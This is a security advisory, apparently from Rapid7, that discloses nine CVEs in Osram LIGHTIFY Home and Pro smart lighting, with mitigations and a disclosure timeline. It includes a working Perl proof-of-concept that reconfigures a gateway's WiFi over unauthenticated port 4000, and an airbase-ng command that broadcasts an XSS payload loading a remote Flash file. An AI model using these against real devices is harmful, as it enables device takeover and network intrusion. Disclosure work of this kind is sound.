Home

R7-2016-10.3

CVE-2016-5053

ZigBee Network Command Replay

Unfixed

Home

R7-2016-10.4

CVE-2016-5054

Web Management Console Persistent XSS

Fixed

Pro

R7-2016-10.5

CVE-2016-5055

Weak Default WPA2 PSKs

Fixed

Pro

R7-2016-10.6

CVE-2016-5056

Lack of SSL Pinning

Unfixed

Pro

R7-2016-10.7

CVE-2016-5057

ZigBee Network Command Replay

Unfixed

Pro

R7-2016-10.8

CVE-2016-5058

Cached Screenshot Information Leak

Fixed

Pro

R7-2016-10.9

CVE-2016-5059

 

Product Description

According to the vendor's January, 2015 press release, Osram LIGHTIFY provides "a portfolio of cost-effective indoor and outdoor lighting products that can be controlled and automated via an app on your mobile device to help you save energy, enhance comfort, personalize your environment, and experience joy and fun." It is used for both residential and commercial customers, using either the Home and Pro versions, respectively. As a "smart lighting" offering, Osram LIGHTIFY is part of the Internet of Things (IoT) landscape, and is compatible with other ZigBee based automation solutions.

Credit

These issues were discovered by Deral Heiland, Research Lead at Rapid7, Inc., and this advisory was prepared in accordance with Rapid7's disclosure policy.

Exploitation and Mitigation

R7-2016-10.1: Cleartext WPA2 PSK (Home) (CVE-2016-5051)

Examination of the mobile application for LIGHTIFY Home, running on an iPad revealed the WiFi WPA pre-shared key (PSK) of the user's home WiFi as stored in cleartext in the file, /private/var/mobile/Containers/Data/Application/F1D60C51-6DF5-4AAE-9DB1- 40ECBDBDF692/Library/Preferences//com.osram.lightify.home.plist. Examining this file reveals the cleartext string as shown in Figure 1:

Figure 1, Cleartext WPA2 PSK

 

If the device is lost or stolen, an attacker could extract this data from the file.

Mitigation for R7-2016-10.1

A vendor-supplied patch should configure the mobile app to prevent storing potentially sensitive information, such as WiFi PSKs and passwords in cleartext. While some local storage is likely necessary for normal functionality, such information should be stored in an encrypted format that requires authentication.

 

Absent a vendor-supplied patch, users should avoid connecting the product to a network that is intended to be hidden or restricted. In cases where this is undesirable, users should ensure that the mobile device is configured for full-disk encryption (FDE) and require at least a password on first boot.

R7-2016-10.2: Lack of SSL Pinning (Home) (CVE-2016-5052)

Examination of the mobile application reveals that SSL pinning is not in use. By not implementing SSL pinning, it is possible for an attacker to conduct a Man-in-the-Middle (MitM) attack, ultimately exposing SSL-encrypted traffic to the successful attacker for inspection and manipulation.

Mitigation for R7-2016-10.2

A vendor-supplied patch should configure the mobile application to use SSL pinning.

 

Absent a vendor-supplied patch, users should avoid using the mobile application in potentially hostile networks.

R7-2016-10.3: Pre-Authentication Command Execution (Home) (CVE-2016-5053)

Examination of the network services on the gateway shows that port 4000/TCP is used for local control when Internet services are down, and no authentication is required to pass commands to this TCP port. With this access, an unauthenticated actor can execute commands to change lighting, and also execute commands to reconfigure the devices. The following Perl script proof of concept code can be used to reconfigure a vulnerable device's primary WiFi connection, causing it to reconnect to an attacker-supplied WiFi network.

 

#!/usr/bin/perl
# POC to change SSID setting on OSRAM LIGHTIFY GATEWAY
# Deral Heiland, Rapid7, Inc.

use IO::Socket;
if ($#ARGV != 2) {
  print " You are missing needed Arguments\n";
  print "Usage: lightify_SSID_changer.pl TargetIP SSID WPA_PSK \n";
  exit(1);
}

# Input variables
my $IP = $ARGV[0];
my $SSID = $ARGV[1];
my $WPAPSK = $ARGV[2];

# Set up TCP socket
$socket = new IO::Socket::INET (
  PeerAddr => $IP,
  PeerPort => 4000,
  Proto => TCP,
  )
or die "Couldn't connect to Target\n";

#Set up data to send to port 4000
$data1 = "\x83\x00\x00\xe3\x03\x00\x00\x00\x01";
$data2 = pack('a33',"$SSID");
$data3 = pack('a69',"$WPAPSK");
$data4 = "\x04\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$send_data = join "", $data1, $data2, $data3, $data4;

#send data to port 4000
$socket->send($send_data);
close $socket;
exit;

 

 

Mitigation for R7-2016-10.3

A vendor-supplied patch should implement and enforce authentication on the gateway's 4000/TCP interface.

 

Absent a vendor-supplied patch, users should not deploy the gateway in a network environment used by potentially malicious actors.

R7-2016-10.4: ZigBee Network Command Replay (Home) (CVE-2016-5054)

Examination of the ZigBee home automation communication reveals that no rekeying of the Zigbee secure communication takes place after the initial pairing of the ZigBee-enabled end nodes (the light components of the system). Due to this lack of routine rekeying, it is possible for a malicious actor to capture and replay the Zigbee communication at any time, and replay those commands to disrupt lighting services without any other form of authentication.

Mitigation for R7-2016-10.4

Current Zigbee Home Automation Protocol Standard suffers from vulnerabilities preventing the ability to proper secure the Zigbee Home Automation protocol. The solution to resolving these inherent security flaws require fixing of the core protocol, which is under the control of the Zigbee alliance (http://www.zigbee.org/

 

Absent corrections of the Zigbee Home Automation protocol, users should not deploy the lighting components in a network environment used by potentially malicious actors.

R7-2016-10.5: Web Management Console Persistent XSS (Pro) (CVE-2016-5055)

The installed web management console, which runs on ports 80/TCP and 443/TCP, is vulnerable to a persistent Cross Site Scripting (XSS) vulnerability. This vulnerability allows a malicious actor to inject persistent JavaScript and HTML code into various fields within the Pro web management interface. When this data is viewed within the web console, the injected code will execute within the context of the authenticated user. As a result, a malicious actor can inject code which could modify the system configuration, exfiltrate or alter stored data, or take control of the product in order to launch browser-based attacks against the authenticated user's workstation.

 

The first example of this flaw was found by injecting persistent XSS into the security logs via the username field during the basic authentication sequence, as shown below in Figure 2.

Figure 2: Username XSS Injection

 

Anything entered in the "User Name" field gets written to the security logs without sanitization. When these logs are reviewed, the JavaScript is rendered and executed by the victim's browser. Figure 3 demonstrates an alert box run in this way.

Figure 3: Injected JavaScript Alert Box

The second example of this flaw was found by injecting XSS into the Wireless Client Mode configuration page. This was accomplished using a rogue access point to broadcast an SSID containing the XSS payload. Using the following airbase-ng command, it is possible to broadcast the XSS payload as an SSID name.

 

bash airbase-ng -e '</script><embed src=//ld1.us/4.swf>' -c 9 wlan0mon

 

When the SSID of </script><embed src=//ld1.us/4.swf> is displayed on the Wireless Client Mode configuration page, the referenced Flash file is downloaded and run in the context of the authenticated user. This is shown in Figure 4.

Mitigation for R7-2016-10.5

A vendor supplied patch should enforce that all data should be filtered and special characters such as > and <should be properly escaped before being displayed by the web management console.

 

Absent a vendor-supplied patch, users should not deploy the web management console in a network environment used by potentially malicious actors.

R7-2016-10.6: Weak Default WPA2 PSKs (Pro) (CVE-2016-5056)

Weak default WPA2 pre-shared keys (PSKs) were identified on the devices examined, which used an eight character PSK using only the characters from the set "0123456789abcdef". This extremely small keyspace of limited characters and a fixed, short length makes it possible to crack a captured WPA2 authentication handshake in less than 6 hours, leading to remote access to the cleartext WPA2 PSK. Figure 5 shows the statistics of cracking the WPA2 PSK on one device in 5 hours and 57 minutes.

Figure 5: Hashcat Cracking WPA2 PSK in Under Six Hours

 

A second device's WPA2 PSK was cracked in just 2 hours and 42 minutes, as shown in Figure 6:

Figure 6: Hashcat Cracking WPA2 PSK in Under Three Hours

Mitigation for R7-2016-10.6

A vendor-supplied patch should implement a longer default PSKs utilizing a larger keyspace that includes both uppercase and lowercase alphanumeric characters and punctuation, since these keys are not typically intended to be remembered by humans.

 

Absent a vendor-supplied patch, users should set their own PSKs with the above advice, and not rely on the shipped defaults by the vendor.

R7-2016-10.7: Lack of SSL Pinning (Pro) (CVE-2016-5057)

As in the Home version of the system, the Pro version does not implement SSL pinning in the mobile app. See R7-2016-10.2: Lack of SSL Pinning (Home) (CVE-2016-5052), above.

R7-2016-10.8: ZigBee Network Command Replay (Pro) (CVE-2016-5058)

As in the Home version of the system, the Pro version does not implement rekeying of the ZigBee commands. See R7-2016-10.4: ZigBee Network Command Replay (Home) (CVE-2016-5054), above.

R7-2016-10.9: Cached Screenshot Information Leak (Pro) (CVE-2016-5059)

Examination of the commissioning app revealed that the application was caching screenshot of the current page when the IPAD home button was selected in the folder, /private/var/mobile/Containers/Data/Application/A253B0DA-CFCE-433AB0A1- EAEB7B10B49C/Library/Caches/Snapshots/com.osram.LightifyPro/com.osr am.LightifyPro.

 

This practice can often lead to confidential data being stored within the snapshot folder on the IPAD device. As shown in Figure 7, the plain text password of the gateway is displayed in the cached screenshot.

 

Mitigation for R7-2016-10.9

A vendor-supplied patch should use a default page for the Downscale function when the home button is pressed, and that all passwords and keys displayed on the application configuration pages be obfuscated with asterisks.

 

Absent a vendor-supplied patch, users should be mindful of when they minimize the running mobile application to avoid accidentally disclosing sensitive information.

Disclosure Timeline

  • Mon, May 16, 2016: Initial contact to the vendor by Rapid7.
  • Tue, May 17, 2016: Vendor acknowledged receipt of vulnerability details.
  • Tue, May 31, 2016: Details disclosed to CERT/CC (Report number VR-174).
  • Wed, Jun 01, 2016: CVEs assigned by CERT/CC.
  • Thu, Jul 07, 2016: Disclosure timeline updated and communicated to the vendor and CERT/CC.
  • Thu, Jul 21, 2016: Vendor provided an update on patch development.
  • Tue, Jul 26, 2016: Public disclosure of the issues.

 

Update (Aug 10, 2016): Added a note about the Zigbee protocol for R7-2016-10.4 in the summary section.

Filter Blog

By date: By tag: